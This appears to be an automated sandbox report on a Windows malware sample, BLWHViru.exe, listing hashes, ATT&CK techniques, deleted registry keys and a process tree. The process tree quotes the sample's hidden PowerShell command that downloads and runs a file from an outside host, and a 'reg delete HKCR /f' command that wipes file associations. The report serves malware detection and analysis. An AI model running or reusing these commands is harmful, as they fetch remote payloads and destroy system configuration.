d161d820cc21904211e49232c01707a41d98baf304e2887c71c7b699d87b05a6

Analysis

max time kernel
54s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 07:22

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General

Target
BLWHViru.exe
Size 37KB
Sample261002-h7jtzsware
SHA256 d161d820cc21904211e49232c01707a41d98baf304e2887c71c7b699d87b05a6
MD5 e3f53df7e0f08332843d85a0171a5618
SHA1 fb080637d64774265a3492deb479279a868787aa
SHA512 32e28432f98548126ce1c4e59a73138ede141c1521a89faafd6ae4f6cba8cd686a81cae74d708f492a0ca5460da35a84cc51cc0f891eeb56aeda8622795632c6
SSDEEP 768:ZFN2e8J4ZqjDBQGGCEq6se04PJb4CtDr4VnSY9sHT4e:ZFN78J4ZqjDBQPq6sebVEZ59sHT4e
TLSH
T18F03E95DAB9E8033C35EAAFD49A356128B30E1664507E78E19CC95F629C33860E9D3C7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6064	powershell.exe
4	6064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6064	powershell.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Modifies system executable filetype association 2 TTPs 16 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5780	cmd.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rc2\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CCWU.ComCallWrapper\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020818-0000-0000-C000-000000000046}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020833-0000-0000-C000-000000000046}\DataFormats\GetSet\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F063-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.art\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pot	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.URL\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AdHocReportingExcelClientLib.AdHocReportingExcelClientAddIn	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\photoviewer.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020832-0000-0000-C000-000000000046}\Implemented Categories\{000C0118-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000209F0-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F058-0000-0000-C000-000000000046}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.h\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sql	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wax\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX4jbzrhvphxte25e0gxha6bq555nrgqzy\Shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXwrkgv3vjytw2z92anega8abb35xqdnqh\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AudioVBScript\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020803-0000-0000-C000-000000000046}\Conversion\ReadWritable\Main	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F04A-0000-0000-C000-000000000046}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ADTS	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.inv\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pma\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rpl	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppUserModelId\Windows.SystemToast.DeviceManagementTokenRenewalRequired	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CABFolder\Shell\Open\Command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020832-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.gxf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pfx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.Document.DC\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\regedit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX6dgm15xpej2tfeqy45f08t73gq55qcjn\Application	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020803-0000-0000-C000-000000000046}\Conversion\Readable\Main	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.dav	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sct	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.zst\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Application.Reference\shellex\IconHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppUserModelId\Microsoft.Office.OUTLOOK.EXE.15	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CDO.SS_SMTPOnArrivalSink\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\f1120074-43ce-4bda-8a7d-deeeee71a26b\Protocol	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.i\PersistentHandler	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\AppX1sy7rwrc20ggq97a6x1mgmjat0rthy51	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX40nx3azkcssh7ybcbzzjpgf1mg561cyz\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXq0pwa73vfcn2qdexp8cexcc6qk87xh1r\Shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020830-0000-0000-C000-000000000046}\DataFormats\GetSet\2	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.desklink	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.divx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.icl	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxh\OpenWithProgIDs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.library-ms\ShellNew\Config	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.partial	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wmv\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\SendTo	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX1apmywg4z9t3tk3nrn9y8ntjc5cg9675\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ArchiveFolder\ShellEx\ContextMenuHandlers\{EE07CEF5-3441-4CFB-870A-4002C724783A}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020820-0000-0000-C000-000000000046}\Verb\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ghi	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mka	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pptm\ShellEx\PropertyHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\3b06bba1-9f02-4165-ac4c-139b6b9e74fb	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020803-0000-0000-C000-000000000046}\Verb\0	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
6064	powershell.exe
6064	powershell.exe
6064	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5096	BLWHViru.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5096	BLWHViru.exe
Token: SeDebugPrivilege	5096	BLWHViru.exe
Token: 33	5864	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5864	AUDIODG.EXE
Token: SeDebugPrivilege	6064	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 6064	5096	BLWHViru.exe	92
PID 5096 wrote to memory of 5780	5096	BLWHViru.exe	96
PID 5780 wrote to memory of 5812	5780	cmd.exe	98

C:\Users\Admin\AppData\Local\Temp\BLWHViru.exe
"C:\Users\Admin\AppData\Local\Temp\BLWHViru.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5780
- - C:\Windows\system32\reg.exe
    reg delete HKCR /f
    3⤵
    - Modifies system executable filetype association
    - Modifies registry class
    PID:5812

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x0000000000000508
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Privilege Escalation

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/5096-0-0x00007FF97F35F000-0x00007FF97F360000-memory.dmp

Download

memory/5096-1-0x00000000009D0000-0x00000000009E0000-memory.dmp

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memory/5096-2-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-3-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-4-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-5-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-6-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-7-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-8-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-9-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5096-10-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/5864-31-0x00000168A9DD0000-0x00000168A9FBB000-memory.dmp

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memory/6064-19-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-26-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-15-0x000001B5D1C80000-0x000001B5D1CA2000-memory.dmp

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memory/6064-20-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-21-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-22-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-23-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-24-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-25-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-18-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-27-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-28-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-29-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-30-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-14-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-32-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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memory/6064-33-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

Download

memory/6064-35-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp

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